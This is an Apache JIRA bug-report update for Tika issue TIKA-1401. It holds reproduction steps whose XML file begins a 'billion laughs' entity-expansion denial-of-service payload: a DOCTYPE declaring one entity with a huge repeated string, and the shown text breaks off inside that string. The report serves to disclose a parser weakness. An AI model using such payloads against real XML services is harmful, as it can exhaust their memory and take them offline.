[ https://issues.apache.org/jira/browse/TIKA-1401?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]
Tyler Palsulich updated TIKA-1401: ---------------------------------- Description: Hi 1. Save the file with the following content as "errorfile.xml" {code} <?xml version="1.0"?> <!DOCTYPE billion [ <!ELEMENT billion (#PCDATA)> <!ENTITY laugh0 "aahahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhah